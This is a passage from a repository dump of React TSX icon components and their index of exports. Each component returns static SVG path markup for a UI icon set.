    "content": "import { SVGProps } from \"react\";\n\nexport function HexadecagonStar(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"M12.606,7.655c-.044-.136-.161-.235-.302-.255l-2.051-.298-.917-1.858c-.127-.256-.546-.256-.673,0l-.917,1.858-2.051,.298c-.141,.021-.258,.12-.302,.255-.044,.136-.007,.285,.095,.384l1.484,1.446-.351,2.042c-.024,.141,.034,.283,.149,.367s.269,.094,.395,.029l1.834-.964,1.834,.964c.055,.029,.115,.043,.174,.043,.078,0,.155-.024,.221-.072,.115-.084,.173-.226,.149-.367l-.351-2.042,1.484-1.446c.102-.1,.139-.249,.095-.384Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M15.718,8.293l-1.468-1.468v-2.075c0-.552-.448-1-1-1h-2.075l-1.468-1.468c-.391-.39-1.024-.39-1.414,0l-1.468,1.468h-2.075c-.552,0-1,.448-1,1v2.075l-1.468,1.468c-.391,.39-.391,1.024,0,1.414l1.468,1.468v2.075c0,.552,.448,1,1,1h2.075l1.468,1.468c.391,.39,1.024,.39,1.414,0l1.468-1.468h2.075c.552,0,1-.448,1-1v-2.075l1.468-1.468c.391-.39,.391-1.024,0-1.414Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/history.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function History(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M1.75,9c0,4.004,3.246,7.25,7.25,7.25s7.25-3.246,7.25-7.25S13.004,1.75,9,1.75c-3.031,0-5.627,1.86-6.71,4.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"1.88 3.305 2.288 6.25 5.232 5.843\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"9 4.75 9 9 12.25 11.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/hyperlink.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Hyperlink(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M12.188,16.484c-1.097,0-2.192-.417-3.026-1.252l-2.175-2.175c-1.671-1.671-1.671-4.39,0-6.061,.356-.356,.753-.637,1.19-.846,.371-.18,.82-.021,1,.354,.179,.374,.021,.821-.354,1-.283,.135-.541,.318-.766,.543-1.096,1.096-1.096,2.863-.01,3.95l2.175,2.175c1.086,1.085,2.853,1.086,3.939,0,1.096-1.096,1.096-2.863,.01-3.949l-.931-.931c-.293-.293-.293-.768,0-1.061s.768-.293,1.061,0l.931,.931c1.671,1.671,1.671,4.389,0,6.06-.842,.842-1.944,1.262-3.044,1.262Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M9.501,11.923c-.28,0-.548-.157-.677-.427-.179-.374-.021-.821,.354-1,.283-.135,.541-.318,.766-.543,1.096-1.096,1.096-2.863,.01-3.95l-2.175-2.175c-1.085-1.085-2.853-1.086-3.939,0-1.096,1.096-1.096,2.863-.01,3.949l.931,.931c.293,.293,.293,.768,0,1.061s-.768,.293-1.061,0l-.931-.931c-1.671-1.671-1.671-4.389,0-6.06,1.682-1.681,4.4-1.682,6.07-.01l2.175,2.175c1.671,1.671,1.671,4.39,0,6.061-.356,.356-.753,.637-1.19,.846-.104,.05-.214,.073-.323,.073Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/icosahedron.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Icosahedron(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polygon\n          fill=\"none\"\n          points=\"9 2.062 2.907 12.25 15.093 12.25 9 2.062\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.25,11.473V6.527c0-.713-.38-1.372-.997-1.73l-4.25-2.465c-.621-.36-1.386-.36-2.007,0L3.747,4.797c-.617,.358-.997,1.017-.997,1.73v4.946c0,.713,.38,1.372,.997,1.73l4.25,2.465c.621,.36,1.386,.36,2.007,0l4.25-2.465c.617-.358,.997-1.017,.997-1.73Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/image-icon.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ImageIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M3.762,14.989l6.074-6.075c.781-.781,2.047-.781,2.828,0l2.586,2.586\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"12.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n        <circle\n          cx=\"6.25\"\n          cy=\"7.25\"\n          fill=\"currentColor\"\n          r=\"1.25\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/incognito.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Incognito(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"5.25\"\n          cy=\"13.75\"\n          fill=\"none\"\n          r=\"2.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"12.75\"\n          cy=\"13.75\"\n          fill=\"none\"\n          r=\"2.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.883,1.75H6.117c-.498,0-.92,.366-.99,.859l-.377,2.641-3,3h14.5l-3-3-.377-2.641c-.07-.493-.492-.859-.99-.859Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M7.58,12.842c.362-.365,.865-.592,1.42-.592,.555,0,1.058,.226,1.42,.592\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"4.75\"\n          x2=\"13.25\"\n          y1=\"5.25\"\n          y2=\"5.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/index.ts",
    "content": "export * from \"./android-logo\";\nexport * from \"./apple\";\nexport * from \"./apple-logo\";\nexport * from \"./arrow-bold-up\";\nexport * from \"./arrow-right\";\nexport * from \"./arrow-trend-up\";\nexport * from \"./arrow-turn-left\";\nexport * from \"./arrow-turn-right2\";\nexport * from \"./arrow-up-right\";\nexport * from \"./arrows-opposite-direction-x\";\nexport * from \"./arrows-opposite-direction-y\";\nexport * from \"./at-sign\";\nexport * from \"./badge-check\";\nexport * from \"./badge-check2-fill\";\nexport * from \"./bell\";\nexport * from \"./blog\";\nexport * from \"./bolt\";\nexport * from \"./bolt-fill\";\nexport * from \"./book-open\";\nexport * from \"./book2\";\nexport * from \"./book2-fill\";\nexport * from \"./book2-small\";\nexport * from \"./books2\";\nexport * from \"./box-archive\";\nexport * from \"./brackets-curly\";\nexport * from \"./briefcase-fill\";\nexport * from \"./brush\";\nexport * from \"./bullet-list\";\nexport * from \"./bullet-list-fill\";\nexport * from \"./calculator\";\nexport * from \"./calendar\";\nexport * from \"./calendar-days\";\nexport * from \"./calendar-refresh\";\nexport * from \"./calendar6\";\nexport * from \"./cards\";\nexport * from \"./caret-up-fill\";\nexport * from \"./chart-activity2\";\nexport * from \"./chart-area2\";\nexport * from \"./chart-line\";\nexport * from \"./check\";\nexport * from \"./check2\";\nexport * from \"./checkbox-checked-fill\";\nexport * from \"./checkbox-unchecked\";\nexport * from \"./chevron-left\";\nexport * from \"./chevron-right\";\nexport * from \"./chevron-up\";\nexport * from \"./circle-arrow-right\";\nexport * from \"./circle-check\";\nexport * from \"./circle-check-fill\";\nexport * from \"./circle-dollar\";\nexport * from \"./circle-dollar-out\";\nexport * from \"./circle-dollar3\";\nexport * from \"./circle-dotted\";\nexport * from \"./circle-half-dotted-check\";\nexport * from \"./circle-half-dotted-clock\";\nexport * from \"./circle-info\";\nexport * from \"./circle-percentage\";\nexport * from \"./circle-play\";\nexport * from \"./circle-play-fill\";\nexport * from \"./circle-question\";\nexport * from \"./circle-user\";\nexport * from \"./circle-warning\";\nexport * from \"./circle-xmark\";\nexport * from \"./circles\";\nexport * from \"./circles3\";\nexport * from \"./cloud\";\nexport * from \"./cloud-upload\";\nexport * from \"./code\";\nexport * from \"./color-palette2\";\nexport * from \"./connected-dots\";\nexport * from \"./connected-dots-fill\";\nexport * from \"./connected-dots4\";\nexport * from \"./connections3\";\nexport * from \"./credit-card\";\nexport * from \"./crosshairs3\";\nexport * from \"./crown\";\nexport * from \"./cube\";\nexport * from \"./cube-settings\";\nexport * from \"./cube-settings-fill\";\nexport * from \"./currency-dollar\";\nexport * from \"./cursor-rays\";\nexport * from \"./database-key\";\nexport * from \"./desktop\";\nexport * from \"./diamond-turn-right\";\nexport * from \"./diamond-turn-right-fill\";\nexport * from \"./directions\";\nexport * from \"./discount\";\nexport * from \"./dots\";\nexport * from \"./download\";\nexport * from \"./duplicate\";\nexport * from \"./earth\";\nexport * from \"./earth-position\";\nexport * from \"./envelope\";\nexport * from \"./envelope-alert\";\nexport * from \"./envelope-arrow-right\";\nexport * from \"./envelope-ban\";\nexport * from \"./envelope-check\";\nexport * from \"./envelope-fill\";\nexport * from \"./envelope-open\";\nexport * from \"./eye\";\nexport * from \"./eye-slash\";\nexport * from \"./face-smile\";\nexport * from \"./feather-fill\";\nexport * from \"./file-content\";\nexport * from \"./file-zip2\";\nexport * from \"./filter-bars\";\nexport * from \"./filter2\";\nexport * from \"./flag\";\nexport * from \"./flag-wavy\";\nexport * from \"./flag2\";\nexport * from \"./flag6\";\nexport * from \"./flask\";\nexport * from \"./flask-small\";\nexport * from \"./folder\";\nexport * from \"./folder-bookmark\";\nexport * from \"./folder-lock\";\nexport * from \"./folder-plus\";\nexport * from \"./folder-shield\";\nexport * from \"./folder5\";\nexport * from \"./gaming-console\";\nexport * from \"./gauge6\";\nexport * from \"./gear\";\nexport * from \"./gear2\";\nexport * from \"./gear3\";\nexport * from \"./gem\";\nexport * from \"./gift\";\nexport * from \"./gift-fill\";\nexport * from \"./globe\";\nexport * from \"./globe-pointer\";\nexport * from \"./globe-search\";\nexport * from \"./globe2\";\nexport * from \"./greek-temple\";\nexport * from \"./grid\";\nexport * from \"./grid-layout-rows\";\nexport * from \"./grid-plus\";\nexport * from \"./grip-dots-vertical\";\nexport * from \"./heading-1\";\nexport * from \"./heading-2\";\nexport * from \"./headset\";\nexport * from \"./heart\";\nexport * from \"./heart-fill\";\nexport * from \"./hexadecagon-star\";\nexport * from \"./history\";\nexport * from \"./hyperlink\";\nexport * from \"./icosahedron\";\nexport * from \"./image-icon\";\nexport * from \"./incognito\";\nexport * from \"./infinity-icon\";\nexport * from \"./input-field\";\nexport * from \"./input-password\";\nexport * from \"./input-password-pointer\";\nexport * from \"./input-search\";\nexport * from \"./invoice-dollar\";\nexport * from \"./key\";\nexport * from \"./layout-sidebar\";\nexport * from \"./license\";\nexport * from \"./life-ring\";\nexport * from \"./life-ring-fill\";\nexport * from \"./lines-y\";\nexport * from \"./link-broken\";\nexport * from \"./link4\";\nexport * from \"./location-pin\";\nexport * from \"./lock\";\nexport * from \"./lock-fill\";\nexport * from \"./magnifier\";\nexport * from \"./map-position\";\nexport * from \"./marketing-target\";\nexport * from \"./media-pause\";\nexport * from \"./media-play\";\nexport * from \"./megaphone\";\nexport * from \"./menu3\";\nexport * from \"./message-smile\";\nexport * from \"./microphone-fill\";\nexport * from \"./minus\";\nexport * from \"./mobile-phone\";\nexport * from \"./money-bill\";\nexport * from \"./money-bill2\";\nexport * from \"./money-bills2\";\nexport * from \"./msg\";\nexport * from \"./msgs\";\nexport * from \"./msgs-dotted\";\nexport * from \"./msgs-fill\";\nexport * from \"./note\";\nexport * from \"./office-building\";\nexport * from \"./page2\";\nexport * from \"./paintbrush\";\nexport * from \"./palette-2\";\nexport * from \"./paper-plane\";\nexport * from \"./pen-writing\";\nexport * from \"./pen2\";\nexport * from \"./percentage-arrow-down\";\nexport * from \"./photo\";\nexport * from \"./plug2\";\nexport * from \"./plus\";\nexport * from \"./plus2\";\nexport * from \"./post\";\nexport * from \"./pyramid\";\nexport * from \"./qrcode\";\nexport * from \"./receipt2\";\nexport * from \"./referred-via\";\nexport * from \"./refresh2\";\nexport * from \"./robot\";\nexport * from \"./satellite-dish\";\nexport * from \"./scan-text\";\nexport * from \"./scribble\";\nexport * from \"./shield-alert\";\nexport * from \"./shield-check\";\nexport * from \"./shield-keyhole\";\nexport * from \"./shield-slash\";\nexport * from \"./shield-user\";\nexport * from \"./shop\";\nexport * from \"./shuffle\";\nexport * from \"./sitemap\";\nexport * from \"./sliders\";\nexport * from \"./sort-alpha-ascending\";\nexport * from \"./sort-alpha-descending\";\nexport * from \"./sparkle3\";\nexport * from \"./square-chart\";\nexport * from \"./square-check\";\nexport * from \"./square-layout-grid5\";\nexport * from \"./square-layout-grid6\";\nexport * from \"./square-user-sparkle2\";\nexport * from \"./square-xmark\";\nexport * from \"./star\";\nexport * from \"./star-fill\";\nexport * from \"./stars2\";\nexport * from \"./suitcase\";\nexport * from \"./table-icon\";\nexport * from \"./table-rows2\";\nexport * from \"./tablet\";\nexport * from \"./tag\";\nexport * from \"./tags\";\nexport * from \"./text-bold\";\nexport * from \"./text-italic\";\nexport * from \"./text-strike\";\nexport * from \"./timer2\";\nexport * from \"./toggle2-fill\";\nexport * from \"./toggles\";\nexport * from \"./trash\";\nexport * from \"./triangle-warning\";\nexport * from \"./trophy\";\nexport * from \"./tv\";\nexport * from \"./ui-card\";\nexport * from \"./user\";\nexport * from \"./user-arrow-right\";\nexport * from \"./user-check\";\nexport * from \"./user-crown\";\nexport * from \"./user-delete\";\nexport * from \"./user-focus\";\nexport * from \"./user-minus\";\nexport * from \"./user-plus\";\nexport * from \"./user-search\";\nexport * from \"./user-xmark\";\nexport * from \"./users\";\nexport * from \"./users-fill\";\nexport * from \"./users-settings\";\nexport * from \"./users2\";\nexport * from \"./users6\";\nexport * from \"./versions2\";\nexport * from \"./views\";\nexport * from \"./watch\";\nexport * from \"./webhook\";\nexport * from \"./window\";\nexport * from \"./window-search\";\nexport * from \"./window-settings\";\nexport * from \"./workflow\";\nexport * from \"./xmark\";\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/infinity-icon.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function InfinityIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"m7.2831,7.1659c-.8935-.8252-1.8429-1.4159-2.9331-1.4159-1.7122,0-3.1,1.4549-3.1,3.25s1.3878,3.25,3.1,3.25c3.6167,0,5.6833-6.5,9.3-6.5,1.7122,0,3.1,1.4549,3.1,3.25s-1.3878,3.25-3.1,3.25c-1.0903,0-2.0397-.5907-2.9332-1.416\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/input-field.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function InputField(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M11.25,13.25H3.75c-1.105,0-2-.895-2-2V6.75c0-1.105,.895-2,2-2h7.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M14,4.75h.25c1.105,0,2,.895,2,2v4.5c0,1.105-.895,2-2,2h-.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9.25,1.75c1.105,0,2,.895,2,2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.25,1.75c-1.105,0-2,.895-2,2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9.25,16.25c1.105,0,2-.895,2-2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.25,16.25c-1.105,0-2-.895-2-2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.25\"\n          x2=\"11.25\"\n          y1=\"3.75\"\n          y2=\"14.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9.75\"\n          x2=\"12.75\"\n          y1=\"9.75\"\n          y2=\"9.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/input-password-pointer.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function InputPasswordPointer(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle cx=\"5\" cy=\"9\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <circle cx=\"8.5\" cy=\"9\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <path\n          d=\"M15.75,9.795v-3.045c0-1.104-.895-2-2-2H3.25c-1.105,0-2,.896-2,2v4.5c0,1.104,.895,2,2,2h5.632\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.126,10.768l5.94,2.17c.25,.091,.243,.448-.011,.529l-2.719,.87-.87,2.719c-.081,.254-.438,.261-.529,.011l-2.17-5.94c-.082-.223,.135-.44,.359-.359Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/input-password.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function InputPassword(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M7.75,13.25H3.75c-1.105,0-2-.895-2-2V6.75c0-1.105,.895-2,2-2H14.25c1.105,0,2,.895,2,2v.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.25,12.25v-2c0-.828,.672-1.5,1.5-1.5h0c.828,0,1.5,.672,1.5,1.5v2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"5.5\" cy=\"9\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <circle cx=\"9\" cy=\"9\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <rect\n          height=\"4\"\n          width=\"6\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"10.75\"\n          y=\"12.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/input-search.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function InputSearch(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M8.25,13.25H3.75c-1.105,0-2-.895-2-2V6.75c0-1.105,.895-2,2-2H14.25c1.105,0,2,.895,2,2v1.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"13\"\n          cy=\"12\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14.59\"\n          x2=\"16.25\"\n          y1=\"13.59\"\n          y2=\"15.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/invoice-dollar.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function InvoiceDollar({\n  strokeWidth = 1.5,\n  ...props\n}: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M14.75,3.75v12.5l-2.75-1.5-3,1.5-3-1.5-2.75,1.5V3.75c0-1.105,.895-2,2-2h7.5c1.105,0,2,.895,2,2Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth={strokeWidth}\n        />\n        <path\n          d=\"M10.724,6.556c-.374-.885-1.122-1.086-1.688-1.086-.526,0-1.907,.28-1.779,1.606,.09,.931,.967,1.277,1.734,1.414s1.88,.429,1.907,1.551c.023,.949-.83,1.597-1.861,1.597-.985,0-1.67-.383-1.934-1.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth={strokeWidth}\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth={strokeWidth}\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"4.75\"\n          y2=\"5.47\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth={strokeWidth}\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"11.638\"\n          y2=\"12.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/key.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Key(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M15.747,2.076l-2.847,.177-5.891,5.891c-.324-.084-.658-.144-1.009-.144-2.209,0-4,1.791-4,4s1.791,4,4,4,4-1.791,4-4c0-.362-.064-.707-.154-1.041l1.904-1.959v-2.25h2.25l1.753-1.645-.006-3.029Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"5.5\" cy=\"12.5\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/layout-sidebar.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function LayoutSidebar(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M4,2.75H14.25c1.105,0,2,.895,2,2V13.25c0,1.105-.895,2-2,2H4\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"12.5\"\n          width=\"4.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"2.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/license.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function License(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"9.25\"\n          y1=\"7.75\"\n          y2=\"7.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"12.25\"\n          y1=\"5.25\"\n          y2=\"5.25\"\n        />\n        <rect\n          height=\"14.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"1.75\"\n        />\n        <circle\n          cx=\"11.25\"\n          cy=\"12.25\"\n          fill=\"none\"\n          r=\"1.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          